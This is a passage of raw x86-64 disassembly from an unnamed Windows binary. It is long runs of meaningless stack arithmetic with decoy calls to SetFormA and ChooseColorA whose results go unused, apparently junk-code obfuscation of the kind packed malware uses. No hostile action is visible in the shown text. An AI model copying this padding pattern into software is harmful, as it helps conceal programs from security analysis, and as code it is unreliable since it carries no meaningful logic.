mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
lea r9, [rsp + 0x26fd0]
mov r8d, 0x6e
mov rdx, qword [rsp + 0x8e88]
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d4], ax
lea rcx, [rsp + 0x26be0]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd718]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
movzx ecx, word [rsp + 0x14cc]
movzx edx, word [rsp + 0x14d4]
add ecx, edx
cmp eax, ecx
jl 0x14000eca0
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8848], rax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8848]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x1401b1e38
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
xor eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x8ef8], rax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1dc]
sar eax, cl
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov dword [0x1401cd720], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4da0]
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0x8f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e70], rax
mov eax, dword [rsp + 0x4dc4]
mov dword [rsp + 0x4e3c], eax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14f0], ax
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8ef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401cc028], rax
movzx eax, word [0x1401cd714]
mov word [rsp + 0x14f4], ax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8e70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x1e2], al
movzx eax, word [0x1401cc018]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov word [rsp + 0x121c], ax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
lea rax, [rsp + 0x8c98]
mov qword [0x1401cd728], rax
mov rax, qword [rsp + 0x8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov word [rsp + 0x14e4], ax
lea rax, [rsp + 0x8e70]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de8], eax
lea rax, [rsp + 0x4d54]
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
sar rax, cl
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
shl eax, cl
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
or eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movzx eax, byte [0x1401cc008]
movzx ecx, byte [rsp + 0x180]
xor eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
lea rax, [rsp + 0x8e70]
mov qword [rsp + 0x8f20], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8f28], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc030], ax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e5], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov word [rsp + 0x14f0], ax
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x8e20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e24]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e58]
mov rax, qword [rax]
mov qword [rsp + 0x8f38], rax
mov rax, qword [rsp + 0x8ee8]
mov ecx, dword [rsp + 0x4dd8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4dc4], eax
movzx eax, word [rsp + 0x14d4]
mov word [rsp + 0x14f8], ax
movzx eax, byte [rsp + 0x1e1]
mov byte [0x1401cd716], al
movsx eax, word [rsp + 0x14f0]
movsx ecx, word [rsp + 0x14d0]
sar eax, cl
mov word [rsp + 0x14c4], ax
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0x8f40], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8dd8]
shl rax, cl
mov qword [rsp + 0x8e70], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x8f48], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14e4], ax
movzx eax, byte [rsp + 0x1df]
mov byte [rsp + 0x1e6], al
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1e0]
add eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x8e70]
mov qword [rsp + 0x8f58], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4e38]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d18], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
mov word [rsp + 0x121c], ax
movsx eax, word [rsp + 0x14ec]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc034], ax
lea rax, [rsp + 0x1df]
mov qword [rsp + 0x8f68], rax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
lea rax, [rsp + 0x14ec]
mov qword [rsp + 0x8f70], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x8f78], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0x8f80], rax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc038], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e4], al
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov word [rsp + 0x14fc], ax
movzx eax, byte [0x1401cc008]
movzx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov byte [rsp + 0x1e2], al
lea rax, [rsp + 0x4840]
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov qword [rsp + 0x8f90], rax
movzx eax, byte [rsp + 0x1e6]
mov byte [0x1401cd717], al
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [0x1401cc018]
add eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
sub eax, ecx
mov word [rsp + 0x11f4], ax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14fc], ax
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x8f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8848], rax
movzx eax, byte [rsp + 0x1e1]
movzx ecx, byte [0x1401cc008]
sar eax, cl
mov byte [0x1401cc009], al
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e0]
shl eax, cl
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14fc], ax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x8fa8], rax
mov eax, dword [rsp + 0x4e24]
mov ecx, dword [rsp + 0x4de8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0x8e00]
mov qword [rsp + 0x8fb0], rax
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4dc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc03c], ax
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f4]
add eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x8ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
lea rax, [0x1401cc010]
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x1e4]
mov qword [0x1401cd730], rax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14f4], ax
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14e0], ax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x8fd8], rax
mov eax, dword [rsp + 0x4e44]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
shl eax, cl
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov word [0x1401cc040], ax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x1e8], al
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e0]
mov byte [rsp + 0x1e9], al
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4da0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x8fe0], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8e00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ef0]
mov qword [rcx], rax
lea rax, [0x1401cc03c]
mov qword [0x1401cd738], rax
lea rax, [rsp + 0x14c4]
mov qword [rsp + 0x8fe8], rax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1e2]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x8f48]
mov ecx, dword [rsp + 0x4840]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
lea rax, [0x1401cd710]
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x14dc]
mov qword [0x1401cd740], rax
mov rax, qword [0x1401cd718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
xor eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x121]
or eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
mov word [rsp + 0x1500], ax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x14e4]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
lea rax, [rsp + 0x4de8]
mov qword [rsp + 0x9000], rax
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0x8d10]
mov qword [rsp + 0x9008], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e00], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8e20]
mov qword [rsp + 0x9010], rax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [0x1401cd740]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc0]
movzx eax, byte [rax]
mov byte [0x1401cd724], al
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
movzx eax, word [rsp + 0x14fc]
movzx ecx, word [rsp + 0x14d4]
and eax, ecx
mov word [rsp + 0x1500], ax
movsx eax, word [0x1401cc038]
movsx ecx, word [rsp + 0x14f0]
add eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x14fc]
sub eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x1e6]
add eax, ecx
mov byte [0x1401cc00a], al
lea rax, [rsp + 0x11f4]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov rcx, qword [0x1401cd738]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x9030], rax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x4dc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f38]
movzx ecx, al
mov rax, qword [rsp + 0x8e00]
shr rax, cl
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
movzx eax, byte [0x1401cc009]
mov byte [rsp + 0x1ec], al
lea rax, [rsp + 0x180]
mov qword [0x1401cd748], rax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov word [rcx], ax
lea rax, [rsp + 0x1500]
mov qword [rsp + 0x9038], rax
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8e20]
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4dfc]
mov dword [rsp + 0x4e4c], eax
movsx eax, byte [rsp + 0x1e7]
movsx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1eb]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc008], al
movsx eax, word [rsp + 0x14f0]
movsx ecx, word [rsp + 0x11f4]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov word [rsp + 0x14fc], ax
movzx eax, word [rsp + 0x11f4]
mov word [rsp + 0x1504], ax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x8fc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x9018]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x121c]
mov qword [0x1401cd750], rax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0x9050], rax
movsx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x166], al
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
xor eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e70]
movzx ecx, al
mov rax, qword [rsp + 0x8fb0]
shr rax, cl
mov qword [rsp + 0x8ca0], rax
lea rax, [rsp + 0x4e44]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x9018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4dfc]
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cd724], al
movzx eax, byte [rsp + 0x1eb]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1500], ax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov word [rsp + 0x1508], ax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f0]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
